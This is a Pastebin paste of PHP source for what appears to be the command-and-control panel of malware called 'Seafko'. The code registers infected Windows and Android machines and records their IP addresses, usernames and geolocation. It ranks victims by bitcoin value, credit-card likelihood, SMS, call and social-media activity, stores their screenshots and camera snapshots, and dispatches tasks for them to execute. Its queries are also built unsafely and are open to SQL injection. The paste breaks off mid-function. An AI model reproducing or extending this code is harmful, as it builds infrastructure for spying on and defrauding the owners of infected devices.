Advertisement
Guest User

Seafko

a guest
Dec 6th, 2018
246
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 43.97 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4. class SERVER
  5. {
  6.  
  7.  
  8.     private $db;
  9.  
  10.     public function __construct()
  11.     {
  12.         $this->db = new PDO("sqlite:" . __DIR__ . DIRECTORY_SEPARATOR . "seafko_db.db");
  13.  
  14.         $this->db->query("PRAGMA journal_mode=WAL;");
  15.  
  16.         $this->db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
  17.     }
  18.  
  19.     function get_statics_data()
  20.     {
  21.  
  22.         $CurrentTime = round(microtime(true) * 1000);
  23.  
  24.         $TimeMinus10Minutes = $CurrentTime - 600000;
  25.  
  26.         $TimeMinus4Days = $CurrentTime - 345600000;
  27.  
  28.  
  29.         $online_machines = $this->db->query("select count(*) as count from machines where machine_updated_date > $TimeMinus10Minutes ;");
  30.  
  31.  
  32.         $offline_machines = $this->db->query("select count(*) as count from machines where machine_updated_date > $TimeMinus4Days
  33.                                     AND machine_updated_date < $TimeMinus10Minutes ;");
  34.  
  35.  
  36.         $dead_machines = $this->db->query("select count(*) as count from machines where machine_updated_date < $TimeMinus4Days  ;");
  37.  
  38.  
  39.         $machines_us = $this->db->query("select count(*) as count from machines where machine_country_iso_code = 'us' OR machine_country_iso_code = 'US';");
  40.  
  41.  
  42.         $machines_eu = $this->db->query("select count(*) as count from machines where machine_country_iso_code IN" .
  43.             " ('US','us','FR','fr','DE','de','BE','be','BG','bg','CZ'," .
  44.             "'cz','DK','dk','EE','ee','IE','ie','EL','el','ES','es','HR'" .
  45.             ",'hr','IT','it','CY','cy','LV','lv','LT','lt','LU','lu','HU'" .
  46.             ",'hu','MT','mt','NL','nl','AT','at','PL','pl','PT','pt','RO'" .
  47.             ",'ro','SI','si','SK','sk','FI','fi','SE','se','UK','uk','IS','is','GB','gb');");
  48.  
  49.         $machines_ru = $this->db->query("select count(*) as count from machines where machine_country_iso_code = 'ru' or machine_country_iso_code = 'RU';");
  50.  
  51.  
  52.         $machines_au = $this->db->query("select count(*) as count from machines where machine_country_iso_code = 'au' or machine_country_iso_code = 'AU';");
  53.  
  54.  
  55.         $windows_machines = $this->db->query("select count(*) as count from machines where machine_os_type = 1;");
  56.  
  57.         $android_machines = $this->db->query("select count(*) as count from machines where machine_os_type = 0;");
  58.  
  59.  
  60.         $high_sms_activity_machines = $this->db->query("select id,machine_ip,machine_os_type,machine_country_iso_code,machine_username,machine_lat,machine_lng from machines" .
  61.             " where machine_sms_activity > 0 order by machine_sms_activity DESC limit 10;", PDO::FETCH_ASSOC);
  62.  
  63.         $high_calls_activity_machines = $this->db->query("select id,machine_ip,machine_os_type,machine_country_iso_code,machine_username,machine_lat,machine_lng from machines" .
  64.             " where machine_calls_activity > 0 order by machine_calls_activity DESC limit 10;", PDO::FETCH_ASSOC);
  65.  
  66.  
  67.         $high_bitcoin_activity_machines = $this->db->query("select id,machine_ip,machine_os_type,machine_country_iso_code,machine_username,machine_lat,machine_lng from machines" .
  68.             " where machine_bitcoin_value > 0 order by machine_bitcoin_value DESC limit 10;", PDO::FETCH_ASSOC);
  69.  
  70.         $high_cridtcard_activity_machines = $this->db->query("select id,machine_ip,machine_os_type,machine_country_iso_code,machine_username,machine_lat,machine_lng from machines" .
  71.             " where machine_creadit_card_posiblty > 0 order by machine_creadit_card_posiblty DESC limit 10;", PDO::FETCH_ASSOC);
  72.  
  73.  
  74.         $high_business_activity_machines = $this->db->query("select id,machine_ip,machine_os_type,machine_country_iso_code,machine_username,machine_lat,machine_lng from machines" .
  75.             " where machine_business_value > 0 order by machine_business_value DESC limit 10;", PDO::FETCH_ASSOC);
  76.  
  77.         $high_shopping_activity_machines = $this->db->query("select id,machine_ip,machine_os_type,machine_country_iso_code,machine_username,machine_lat,machine_lng from machines" .
  78.             " where machine_shooping_activity > 0 order by machine_shooping_activity DESC limit 10;", PDO::FETCH_ASSOC);
  79.  
  80.         $high_socialmedia_activity_machines = $this->db->query("select id,machine_ip,machine_os_type,machine_country_iso_code,machine_username,machine_lat,machine_lng from machines" .
  81.             " where machine_total_social_use > 0 order by machine_total_social_use DESC limit 10;", PDO::FETCH_ASSOC);
  82.  
  83.         $high_instgram_activity_machines = $this->db->query("select id,machine_ip,machine_os_type,machine_country_iso_code,machine_username,machine_lat,machine_lng from machines" .
  84.             " where machine_instgram_activty > 0 order by machine_instgram_activty DESC limit 10;", PDO::FETCH_ASSOC);
  85.  
  86.         $high_facebook_activity_machines = $this->db->query("select id,machine_ip,machine_os_type,machine_country_iso_code,machine_username,machine_lat,machine_lng from machines" .
  87.             " where machine_facebook_activity > 0 order by machine_facebook_activity DESC limit 10;", PDO::FETCH_ASSOC);
  88.  
  89.  
  90.         $high_youtube_activity_machines = $this->db->query("select id,machine_ip,machine_os_type,machine_country_iso_code,machine_username,machine_lat,machine_lng from machines" .
  91.             " where machine_youtube_activity > 0 order by machine_youtube_activity DESC limit 10;", PDO::FETCH_ASSOC);
  92.  
  93.  
  94.         $high_gmail_activity_machines = $this->db->query("select id,machine_ip,machine_os_type,machine_country_iso_code,machine_username,machine_lat,machine_lng from machines" .
  95.             " where machine_gmail_avtivity > 0 order by machine_gmail_avtivity DESC limit 10;", PDO::FETCH_ASSOC);
  96.  
  97.  
  98.         $high_activetime_machines = $this->db->query("select id,machine_ip,machine_os_type,machine_country_iso_code,machine_username,machine_lat,machine_lng from machines" .
  99.             " where machine_active_time > 0 order by machine_active_time DESC limit 10;", PDO::FETCH_ASSOC);
  100.  
  101.  
  102.         $newist_machines = $this->db->query("select id,machine_ip,machine_os_type,machine_country_iso_code,machine_username,machine_lat,machine_lng from machines" .
  103.             "  order by machine_register_date DESC limit 10;", PDO::FETCH_ASSOC);
  104.  
  105.         $high_camera_use_machines = $this->db->query("select id,machine_ip,machine_os_type,machine_country_iso_code,machine_username,machine_lat,machine_lng from machines" .
  106.             " where machine_camera_activity > 0 order by machine_camera_activity DESC limit 10;", PDO::FETCH_ASSOC);
  107.  
  108.  
  109.         $high_machine_spec_total = $this->db->query("select id,machine_ip,machine_os_type,machine_country_iso_code,machine_username,machine_lat,machine_lng from machines" .
  110.             " where machine_spec_total > 0 order by machine_spec_total DESC limit 10;", PDO::FETCH_ASSOC);
  111.  
  112.  
  113.         echo json_encode(array(
  114.                 "online_machines" => $online_machines->fetch()['count'],
  115.                 "offline_machines" => $offline_machines->fetch()['count'],
  116.                 "dead_machines" => $dead_machines->fetch()['count'],
  117.                 "machines_us" => $machines_us->fetch()['count'],
  118.                 "machines_eu" => $machines_eu->fetch()['count'],
  119.                 "machines_ru" => $machines_ru->fetch()['count'],
  120.                 "machines_au" => $machines_au->fetch()['count'],
  121.                 "windows_machines" => $windows_machines->fetch()['count'],
  122.                 "android_machines" => $android_machines->fetch()['count'],
  123.                 "high_sms_activity_machines" => $high_sms_activity_machines->fetchall(),
  124.                 "high_calls_activity_machines" => $high_calls_activity_machines->fetchall(),
  125.                 "high_bitcoin_activity_machines" => $high_bitcoin_activity_machines->fetchall(),
  126.                 "high_cridtcard_activity_machines" => $high_cridtcard_activity_machines->fetchall(),
  127.                 "high_business_activity_machines" => $high_business_activity_machines->fetchall(),
  128.                 "high_shopping_activity_machines" => $high_shopping_activity_machines->fetchall(),
  129.                 "high_socialmedia_activity_machines" => $high_socialmedia_activity_machines->fetchall(),
  130.                 "high_instgram_activity_machines" => $high_instgram_activity_machines->fetchall(),
  131.                 "high_facebook_activity_machines" => $high_facebook_activity_machines->fetchall(),
  132.                 "high_youtube_activity_machines" => $high_youtube_activity_machines->fetchall(),
  133.                 "high_gmail_activity_machines" => $high_gmail_activity_machines->fetchall(),
  134.                 "high_activetime_machines" => $high_activetime_machines->fetchall(),
  135.                 "high_camera_use_machines" => $high_camera_use_machines->fetchall(),
  136.                 "high_machine_spec_total" => $high_machine_spec_total->fetchall(),
  137.                 "newist_machines" => $newist_machines->fetchall(),
  138.                 "CurrentTime" => $CurrentTime
  139.  
  140.             )
  141.  
  142.         );
  143.     }
  144.  
  145.  
  146.     function get_refresh_data($LastRefreshTimeStamp)
  147.     {
  148.  
  149.  
  150.         $CurrentTime = round(microtime(true) * 1000);
  151.  
  152.  
  153.         $on_change = $this->db->query("select count(*) as count from machines where machine_register_date > " . $LastRefreshTimeStamp .
  154.             " OR machine_updated_date > " . $LastRefreshTimeStamp);
  155.  
  156.         //get new machines
  157.  
  158.         $new_machines = $this->db->query("select id,
  159.                                                        machine_artct,
  160.                                                        machine_username,machine_ip,
  161.                                                        machine_active_time,
  162.                                                         strftime('%Y-%m-%d %H:%M', machine_register_date / 1000, 'unixepoch') AS machine_register_date,
  163.                                                        irc_server,
  164.                                                        irc_nickname,
  165.                                                        machine_os_type,
  166.                                                        machine_country_iso_code,
  167.                                                        machine_lat,
  168.                                                        machine_lng,
  169.                                                        irc_channle,
  170.                                                        irc_status,
  171.                                                        machine_cpux from machines where machine_register_date > " . $LastRefreshTimeStamp, PDO::FETCH_ASSOC);
  172.  
  173.         $new_machines_data = $new_machines->fetchall();
  174.  
  175.         if (empty($new_machines_data)) {
  176.             $new_machines_data = "empty";
  177.         }
  178.  
  179.  
  180.         echo json_encode(array(
  181.             "new_machines" => $new_machines_data,
  182.             "CurrentTime" => $CurrentTime,
  183.             "on_change" => $on_change->fetch()['count']
  184.         ));
  185.  
  186.     }
  187.  
  188.  
  189.     function getGMAPMachines($GmapMaxValue)
  190.     {
  191.  
  192.         $CurrentTime = round(microtime(true) * 1000);
  193.  
  194.         $TimeMinus10Minutes = $CurrentTime - 600000;
  195.  
  196.         $TimeMinus4Days = $CurrentTime - 345600000;
  197.  
  198.         if ($GmapMaxValue == 0) {
  199.             $GmapMaxValue = " LIMIT 100";
  200.         } else if ($GmapMaxValue == 1) {
  201.             $GmapMaxValue = " LIMIT 500";
  202.         } else {
  203.             $GmapMaxValue = "";
  204.         }
  205.  
  206.         $online_machines = $this->db->query("select id,machine_lat,machine_lng,machine_ip,machine_os_type,machine_username from machines
  207.         where machine_updated_date > $TimeMinus10Minutes ORDER BY machine_register_date DESC $GmapMaxValue", PDO::FETCH_ASSOC);
  208.  
  209.         $online_machines_data = $online_machines->fetchall();
  210.  
  211.         if (empty($online_machines_data)) {
  212.             $online_machines_data = "empty";
  213.         }
  214.  
  215.  
  216.         echo json_encode(array("gmap_machines" => $online_machines_data));
  217.     }
  218.  
  219.     function GetMachineScreenshot($id)
  220.     {
  221.  
  222.         $GetSQL = $this->db->query("select machine_screenshot from machines where id = $id");
  223.         $GetMachinesData = $GetSQL->fetch()['machine_screenshot'];
  224.  
  225.         if (empty($GetMachinesData)) {
  226.             $GetMachinesData = "empty";
  227.         }
  228.  
  229.  
  230.         echo $GetMachinesData;
  231.     }
  232.  
  233.  
  234.     function getOnlineMachinesData($limit, $restrict, $filter)
  235.     {
  236.  
  237.  
  238.         $CurrentTime = round(microtime(true) * 1000);
  239.  
  240.         $TimeMinus10Minutes = $CurrentTime - 600000;
  241.  
  242.  
  243.         $machines = $this->db->query("select id,
  244.                                                        machine_artct,
  245.                                                        machine_username,machine_ip,
  246.                                                        machine_active_time,
  247.                                                         strftime('%Y-%m-%d %H:%M', machine_register_date / 1000, 'unixepoch') AS machine_register_date,
  248.                                                        irc_server,
  249.                                                        irc_nickname,
  250.                                                        machine_os_type,
  251.                                                        machine_country_iso_code,
  252.                                                        machine_lat,
  253.                                                        machine_lng,
  254.                                                        irc_channle,
  255.                                                        irc_status,
  256.                                                        machine_cpux from machines  where machine_updated_date > $TimeMinus10Minutes " . self::decode_restrict($restrict) . self::decode_filter($filter) . self::decode_limit($limit), PDO::FETCH_ASSOC);
  257.  
  258.  
  259.         $machines_data = $machines->fetchall();
  260.  
  261.  
  262.         if (empty($machines_data)) {
  263.             $machines_data = "empty";
  264.         }
  265.  
  266.  
  267.         echo json_encode(array("machines_data" => $machines_data));
  268.  
  269.     }
  270.  
  271.  
  272.     function getOfflineMachinesData($limit, $restrict, $filter)
  273.     {
  274.  
  275.         $CurrentTime = round(microtime(true) * 1000);
  276.  
  277.         $TimeMinus10Minutes = $CurrentTime - 600000;
  278.  
  279.         $TimeMinus4Days = $CurrentTime - 345600000;
  280.  
  281.  
  282.         $machines = $this->db->query("select id,
  283.                                                        machine_artct,
  284.                                                        machine_username,machine_ip,
  285.                                                        machine_active_time,
  286.                                                         strftime('%Y-%m-%d %H:%M', machine_register_date / 1000, 'unixepoch') AS machine_register_date,
  287.                                                        irc_server,
  288.                                                        irc_nickname,
  289.                                                        machine_os_type,
  290.                                                        machine_country_iso_code,
  291.                                                        machine_lat,
  292.                                                        machine_lng,
  293.                                                        irc_channle,
  294.                                                        irc_status,
  295.                                                        machine_cpux from machines where machine_updated_date > $TimeMinus4Days AND machine_updated_date < $TimeMinus10Minutes " .
  296.             self::decode_restrict($restrict) . self::decode_filter($filter) . self::decode_limit($limit), PDO::FETCH_ASSOC);
  297.  
  298.  
  299.         $machines_data = $machines->fetchall();
  300.  
  301.  
  302.         if (empty($machines_data)) {
  303.             $machines_data = "empty";
  304.         }
  305.  
  306.  
  307.         echo json_encode(array("machines_data" => $machines_data));
  308.  
  309.     }
  310.  
  311.     function getDisconnectedMachinesData($limit, $restrict, $filter)
  312.     {
  313.  
  314.         $CurrentTime = round(microtime(true) * 1000);
  315.  
  316.         $TimeMinus4Days = $CurrentTime - (345600 * 1000);
  317.  
  318.  
  319.         $machines = $this->db->query("select id,
  320.                                                        machine_artct,
  321.                                                        machine_username,machine_ip,
  322.                                                        machine_active_time,
  323.                                                         strftime('%Y-%m-%d %H:%M', machine_register_date / 1000, 'unixepoch') AS machine_register_date,
  324.                                                        irc_server,
  325.                                                        irc_nickname,
  326.                                                        machine_os_type,
  327.                                                        machine_country_iso_code,
  328.                                                        machine_lat,
  329.                                                        machine_lng,
  330.                                                        irc_channle,
  331.                                                        irc_status,
  332.                                                        machine_cpux from machines where machine_updated_date < $TimeMinus4Days " .
  333.             self::decode_restrict($restrict) . self::decode_filter($filter) . self::decode_limit($limit), PDO::FETCH_ASSOC);
  334.  
  335.  
  336.         $machines_data = $machines->fetchall();
  337.  
  338.  
  339.         if (empty($machines_data)) {
  340.             $machines_data = "empty";
  341.         }
  342.  
  343.  
  344.         echo json_encode(array("machines_data" => $machines_data));
  345.  
  346.     }
  347.  
  348.  
  349.     function decode_limit($limit)
  350.     {
  351.         //100 ,400,1000,all
  352.         switch ($limit) {
  353.             case 0:
  354.                 return " limit 100;";
  355.             case 1:
  356.                 return " limit 400;";
  357.             case 2:
  358.                 return " limit 1000;";
  359.             case 3:
  360.                 return ";";
  361.         }
  362.     }
  363.  
  364.     function decode_restrict($restrict)
  365.     {
  366.         if ($restrict == "ALL") {
  367.             return "";
  368.         } else {
  369.             return " AND UPPER(machine_country_iso_code) = '$restrict' ";
  370.         }
  371.  
  372.     }
  373.  
  374.     function decode_filter($filter)
  375.     {
  376.  
  377.         switch ($filter) {
  378.             case 0:
  379.                 return " ORDER BY machine_register_date DESC ";
  380.             case 1:
  381.                 return " ORDER BY machine_sms_activity DESC ";
  382.             case 2:
  383.                 return " ORDER BY machine_calls_activity DESC ";
  384.             case 3:
  385.                 return " ORDER BY machine_bitcoin_value DESC ";
  386.             case 4:
  387.                 return " ORDER BY machine_creadit_card_posiblty DESC ";
  388.             case 5:
  389.                 return " ORDER BY machine_business_value DESC ";
  390.             case 6:
  391.                 return " ORDER BY machine_shooping_activity DESC ";
  392.             case 7:
  393.                 return " ORDER BY machine_total_social_use DESC ";
  394.             case 8:
  395.                 return " ORDER BY machine_instgram_activty DESC ";
  396.             case 9:
  397.                 return " ORDER BY machine_facebook_activity DESC ";
  398.             case 10:
  399.                 return " ORDER BY machine_youtube_activity DESC ";
  400.             case 11:
  401.                 return " ORDER BY machine_gmail_avtivity DESC ";
  402.             case 12:
  403.                 return " ORDER BY machine_spec_total DESC ";
  404.             case 13:
  405.                 return " ORDER BY machine_active_time DESC ";
  406.             case 14:
  407.                 return " ORDER BY machine_camera_activity DESC ";
  408.             default:
  409.                 return " ORDER BY machine_register_date DESC ";
  410.         }
  411.  
  412.  
  413.     }
  414.  
  415.  
  416.     function getTasks()
  417.     {
  418.  
  419.  
  420.         $GetTasksSQL = "select id,
  421.                                        task_type,
  422.                                        task_status,
  423.                                        task_info,
  424.                                         task_os,   
  425.                                        created_date AS datetimestamp,
  426.                                        strftime('%Y-%m-%d %H:%M', created_date / 1000, 'unixepoch') AS created_date,
  427.                                        ((select count(id) from TasksExecutions where task_id  = t1.id)  || '/' || (select count(id) from machines)) task_executions_times
  428.                                        from tasks t1 where t1.task_accessibility  = 0 AND  t1.task_visibility = 1 order by datetimestamp DESC;";
  429.  
  430.         $TasksData = $this->db->query($GetTasksSQL, PDO::FETCH_ASSOC);
  431.  
  432.         $GetTasksData = $TasksData->fetchall();
  433.  
  434.         if (empty($GetTasksData)) {
  435.             $GetTasksData = "empty";
  436.         }
  437.  
  438.  
  439.         echo json_encode(array("tasks_data" => $GetTasksData));
  440.  
  441.     }
  442.  
  443.     function getPrivateTasks($target_id)
  444.     {
  445.  
  446.  
  447.         $GetTasksSQL = "select id,
  448.                                        task_type,
  449.                                        task_status,
  450.                                        task_info,
  451.                                         task_os,   
  452.                                        created_date AS datetimestamp,
  453.                                        strftime('%Y-%m-%d %H:%M', created_date / 1000, 'unixepoch') AS created_date,
  454.                                        ((select count(id) from TasksExecutions where task_id  = t1.id)  || '/1' ) task_executions_times
  455.                                        from tasks t1 where t1.task_accessibility  = 1 AND  t1.task_visibility = 1 AND t1.accessibility_target = $target_id order by datetimestamp DESC;";
  456.  
  457.         $TasksData = $this->db->query($GetTasksSQL, PDO::FETCH_ASSOC);
  458.  
  459.         $GetTasksData = $TasksData->fetchall();
  460.  
  461.         if (empty($GetTasksData)) {
  462.             $GetTasksData = "empty";
  463.         }
  464.  
  465.  
  466.         echo json_encode(array("tasks_data" => $GetTasksData));
  467.  
  468.     }
  469.  
  470.  
  471.     function UpdateTaskStatus($task_id, $status)
  472.     {
  473.         $UpdateSQLQuery = "UPDATE tasks
  474.                                                SET task_status = $status
  475.                                                WHERE id = $task_id;";
  476.         $this->db->query($UpdateSQLQuery);
  477.         echo "true";
  478.     }
  479.  
  480.     function RemoveTask($task_id)
  481.     {
  482.         $DeleteSQLQuery = "DELETE FROM tasks
  483.                                      WHERE id=$task_id;";
  484.         $this->db->query($DeleteSQLQuery);
  485.         echo "true";
  486.     }
  487.  
  488.  
  489.     function GetTasksExcu($task_id)
  490.     {
  491.         $ExcuSQL = "select t4.id AS excu_id,
  492.                                       t1.id AS machine_id,
  493.                                       t1.machine_ip,
  494.                                       t1.machine_country_iso_code,
  495.                                       t1.machine_username from TasksExecutions t4
  496.                                        Left join machines t1 ON t4.executor_id = t1.id
  497.                                        WHERE t4.task_id = $task_id;";
  498.  
  499.  
  500.         $TasksExcuQuery = $this->db->query($ExcuSQL, PDO::FETCH_ASSOC);
  501.  
  502.         $GetExcuData = $TasksExcuQuery->fetchall();
  503.  
  504.         if (empty($GetExcuData)) {
  505.             $GetExcuData = "empty";
  506.         }
  507.  
  508.         echo json_encode(array("task_excu_data" => $GetExcuData));
  509.     }
  510.  
  511.  
  512.     function AddTask($task_data)
  513.     {
  514.         $TaskData = json_decode($task_data);
  515.         $CurrentTime = round(microtime(true) * 1000);
  516.         $task_info = json_encode($TaskData->task_info);
  517.         $InsertSQL = "INSERT INTO tasks (task_info, created_date, task_status, task_type, task_os,task_accessibility,accessibility_target)
  518.                                            VALUES ('$task_info', '$CurrentTime', 1, $TaskData->task_type, $TaskData->task_os,
  519.                                             $TaskData->task_accessibility,$TaskData->accessibility_target);";
  520.         if(isset($TaskData->task_v)){
  521.             $InsertSQL = "INSERT INTO tasks (task_info, created_date, task_status, task_type, task_os,task_accessibility,accessibility_target,task_visibility)
  522.                                            VALUES ('$task_info', '$CurrentTime', 1, $TaskData->task_type, $TaskData->task_os,
  523.                                             $TaskData->task_accessibility,$TaskData->accessibility_target,0);";
  524.         }
  525.    
  526.         $result = $this->db->query($InsertSQL);
  527.         if ($result) {
  528.             echo "true";
  529.         } else {
  530.             echo "false";
  531.         }
  532.     }
  533.  
  534.  
  535.     function GetMachineIRCInfo($id)
  536.     {
  537.         $GetMachineSQL = "select id,machine_ip,irc_server,machine_lat,machine_lng,machine_country_iso_code from machines where id = $id limit 1;";
  538.         $GetData = $this->db->query($GetMachineSQL);
  539.  
  540.         $GetMachinesData = $GetData->fetch();
  541.  
  542.         if (empty($GetMachinesData)) {
  543.             $GetMachinesData = "empty";
  544.         }
  545.  
  546.  
  547.         echo json_encode(array("irc_info" => $GetMachinesData));
  548.     }
  549.  
  550.  
  551.     function RegisterNewMachine($machine_data)
  552.     {
  553.         $machine_data_json = json_decode($machine_data);
  554.  
  555.         $CurrentTime = round(microtime(true) * 1000);
  556.         $ip_address = str_replace(' ', '', self::get_client_ip());
  557.         $RegisterMachineSQL = "INSERT INTO machines (
  558.                         machine_artct,
  559.                         machine_username,
  560.                         machine_ip,
  561.                         machine_active_time,
  562.                         machine_sms_activity,
  563.                         machine_calls_activity,
  564.                         machine_creadit_card_posiblty,
  565.                         machine_gaming_value,
  566.                         machine_bitcoin_value,
  567.                         machine_instgram_activty,
  568.                         machine_facebook_activity,
  569.                         machine_youtube_activity,
  570.                         machine_googlepluse_activity,
  571.                         machine_gmail_avtivity,
  572.                         machine_current_time,
  573.                         machine_register_date,
  574.                         machine_shooping_activity,
  575.                         machine_camera_activity,
  576.                         machine_business_value,
  577.                         machine_spec_total,
  578.                         irc_server,
  579.                         irc_nickname,
  580.                         machine_updated_date,
  581.                         machine_total_social_use,
  582.                         machine_os_type,
  583.                         machine_country_iso_code,
  584.                         machine_lat,
  585.                         machine_lng,
  586.                         irc_channle,
  587.                         irc_password,
  588.                         machine_cpux,
  589.                         machine_screenshot,
  590.                         irc_port
  591.                     )
  592.                     VALUES (
  593.                         '$machine_data_json->machine_artct',
  594.                         '$machine_data_json->machine_username',
  595.                         '$ip_address',
  596.                         '$machine_data_json->machine_active_time',
  597.                         '$machine_data_json->machine_sms_activity',
  598.                         '$machine_data_json->machine_calls_activity',
  599.                         '$machine_data_json->machine_creadit_card_posiblty',
  600.                         '$machine_data_json->machine_gaming_value',
  601.                         '$machine_data_json->machine_bitcoin_value',
  602.                         '$machine_data_json->machine_instgram_activty',
  603.                         '$machine_data_json->machine_facebook_activity',
  604.                         '$machine_data_json->machine_youtube_activity',
  605.                         '$machine_data_json->machine_googlepluse_activity',
  606.                         '$machine_data_json->machine_gmail_avtivity',
  607.                         '$machine_data_json->machine_current_time',
  608.                         '$CurrentTime',
  609.                         '$machine_data_json->machine_shooping_activity',
  610.                         '$machine_data_json->machine_camera_activity',
  611.                         '$machine_data_json->machine_business_value',
  612.                         '$machine_data_json->machine_spec_total',
  613.                         '$machine_data_json->irc_server',
  614.                         '$machine_data_json->irc_nickname',
  615.                         '$CurrentTime',
  616.                         '$machine_data_json->machine_total_social_use',
  617.                         '$machine_data_json->machine_os_type',
  618.                         '$machine_data_json->machine_country_iso_code',
  619.                         '$machine_data_json->machine_lat',
  620.                         '$machine_data_json->machine_lng',
  621.                         '$machine_data_json->irc_channle',
  622.                         '$machine_data_json->irc_password',
  623.                         '$machine_data_json->machine_artct',
  624.                         '$machine_data_json->machine_screenshot',
  625.                         '$machine_data_json->irc_port'
  626.                     );";
  627.         $this->db->query($RegisterMachineSQL);
  628.         $lastInsertId = $this->db->lastInsertId();
  629.         if ($lastInsertId) {
  630.             echo json_encode(array("status" => "ok", "id" => $lastInsertId));
  631.  
  632.         } else {
  633.             print_r($this->db->errorInfo());
  634.             echo json_encode(array("status" => "false", "id" => "-1"));
  635.  
  636.         }
  637.  
  638.     }
  639.  
  640.     function UpdateNewMachine($id, $machine_data)
  641.     {
  642.         $machine_data_json = json_decode($machine_data);
  643.         $CurrentTime = round(microtime(true) * 1000);
  644.         $ip_address = str_replace(' ', '', self::get_client_ip());
  645.         $UpdateMachineSQL = "UPDATE machines SET
  646.                                               machine_artct = '$machine_data_json->machine_artct',
  647.                                               machine_username = '$machine_data_json->machine_username',
  648.                                               machine_ip = '$ip_address',
  649.                                               machine_active_time = '$machine_data_json->machine_active_time',
  650.                                               machine_sms_activity = '$machine_data_json->machine_sms_activity',
  651.                                               machine_calls_activity = '$machine_data_json->machine_calls_activity',
  652.                                               machine_creadit_card_posiblty = '$machine_data_json->machine_creadit_card_posiblty',
  653.                                               machine_gaming_value = '$machine_data_json->machine_gaming_value',
  654.                                               machine_bitcoin_value = '$machine_data_json->machine_bitcoin_value',
  655.                                               machine_instgram_activty = '$machine_data_json->machine_instgram_activty',
  656.                                               machine_facebook_activity = '$machine_data_json->machine_facebook_activity',
  657.                                               machine_youtube_activity = '$machine_data_json->machine_youtube_activity',
  658.                                               machine_googlepluse_activity = '$machine_data_json->machine_googlepluse_activity',
  659.                                               machine_gmail_avtivity = '$machine_data_json->machine_gmail_avtivity',
  660.                                               machine_current_time = '$machine_data_json->machine_current_time',
  661.                                               machine_shooping_activity = '$machine_data_json->machine_shooping_activity',
  662.                                               machine_camera_activity = '$machine_data_json->machine_camera_activity',
  663.                                               machine_business_value = '$machine_data_json->machine_business_value',
  664.                                               machine_spec_total = '$machine_data_json->machine_spec_total',
  665.                                               irc_server = '$machine_data_json->irc_server',
  666.                                               irc_nickname = '$machine_data_json->irc_nickname',
  667.                                               machine_updated_date = '$CurrentTime',
  668.                                               machine_total_social_use = '$machine_data_json->machine_total_social_use',
  669.                                               machine_country_iso_code = '$machine_data_json->machine_country_iso_code',
  670.                                               machine_lat = '$machine_data_json->machine_lat',
  671.                                               machine_lng = '$machine_data_json->machine_lng',
  672.                                               irc_channle = '$machine_data_json->irc_channle',
  673.                                               irc_password = '$machine_data_json->irc_password',
  674.                                               machine_cpux = '$machine_data_json->machine_artct',
  675.                                               irc_port = '$machine_data_json->irc_port'
  676.                                                WHERE id = '$id';";
  677.  
  678.  
  679.         $this->db->query($UpdateMachineSQL);
  680.  
  681.         $ID = $this->db->query("select id from machines where id = $id;", PDO::FETCH_ASSOC);
  682.         $GetID = $ID->fetchall();
  683.         if (empty($GetID)) {
  684.             echo "false";
  685.         } else {
  686.             echo "ok";
  687.         }
  688.     }
  689.  
  690.     function get_client_ip()
  691.     {
  692.         $ipaddress = '';
  693.         if (getenv('HTTP_CLIENT_IP'))
  694.             $ipaddress = getenv('HTTP_CLIENT_IP');
  695.         else if (getenv('HTTP_X_FORWARDED_FOR'))
  696.             $ipaddress = getenv('HTTP_X_FORWARDED_FOR');
  697.         else if (getenv('HTTP_X_FORWARDED'))
  698.             $ipaddress = getenv('HTTP_X_FORWARDED');
  699.         else if (getenv('HTTP_FORWARDED_FOR'))
  700.             $ipaddress = getenv('HTTP_FORWARDED_FOR');
  701.         else if (getenv('HTTP_FORWARDED'))
  702.             $ipaddress = getenv('HTTP_FORWARDED');
  703.         else if (getenv('REMOTE_ADDR'))
  704.             $ipaddress = getenv('REMOTE_ADDR');
  705.         else
  706.             $ipaddress = 'UNKNOWN';
  707.         return $ipaddress;
  708.     }
  709.  
  710.  
  711.     function UpdateAndGetTasks($machine_id, $machine_os)
  712.     {
  713.  
  714.         $CurrentTime = round(microtime(true) * 1000);
  715.  
  716.  
  717.         $UpdateSQL = "UPDATE machines
  718.                               SET
  719.                                   machine_updated_date = '$CurrentTime'
  720.                                   WHERE id = $machine_id";
  721.         $this->db->query($UpdateSQL);
  722.  
  723.         $GetTaskSQL = "SELECT id,
  724.                                   task_info,
  725.                                   task_type
  726.                              FROM tasks WHERE
  727.                                        task_status = 1 AND (task_os = $machine_os OR  task_os = 3) AND  (task_accessibility  = 0 OR (task_accessibility = 1 AND accessibility_target = $machine_id)) AND      
  728.                                        id NOT IN (SELECT task_id  FROM TasksExecutions where executor_id = $machine_id)";
  729.  
  730.  
  731.         $tasks = $this->db->query($GetTaskSQL, PDO::FETCH_ASSOC);
  732.  
  733.         $tasks_data = $tasks->fetchall();
  734.  
  735.         echo json_encode(array("tasks_data" => $tasks_data));
  736.  
  737.  
  738.     }
  739.  
  740.     function InsertTaskExecution($excuter_id, $task_id)
  741.     {
  742.  
  743.  
  744.         $InsertExecutionSQL = "INSERT INTO TasksExecutions (
  745.                                                                    task_id,
  746.                                                                    executor_id
  747.                                                                )
  748.                                                                VALUES (
  749.                                                                    '$task_id',
  750.                                                                    '$excuter_id'
  751.                                                                );
  752.                                    ";
  753.  
  754.         $this->db->query($InsertExecutionSQL);
  755.  
  756.         echo "ok";
  757.  
  758.     }
  759.  
  760.  
  761.     function SaveScreenShot($id, $data)
  762.     {
  763.  
  764.         $UpdateSQL = "UPDATE machines
  765.                               SET
  766.                                   machine_screenshot = '$data'
  767.                                   WHERE id = $id";
  768.         $this->db->query($UpdateSQL);
  769.  
  770.         echo "ok";
  771.     }
  772.  
  773.     function SaveSnapshot($id, $data)
  774.     {
  775.  
  776.         $UpdateSQL = "UPDATE machines
  777.                                       SET
  778.                                           camera_snapshot = '$data'
  779.                                           WHERE id = $id";
  780.         $this->db->query($UpdateSQL);
  781.  
  782.         echo "ok";
  783.     }
  784.  
  785.     function GetBAse64Data($machine_id, $data_type)
  786.     {
  787.  
  788.         $GetSQL = $this->db->query("select $data_type as base_data from machines where id = $machine_id;");
  789.         $GetMachinesData = $GetSQL->fetch();
  790.  
  791.         if (empty($GetMachinesData)) {
  792.             $GetMachinesData = "empty";
  793.         }
  794.  
  795.  
  796.         echo json_encode(array("base64" => $GetMachinesData));
  797.     }
  798.  
  799.  
  800.     function UpdateIRCServer($id, $servers)
  801.     {
  802.  
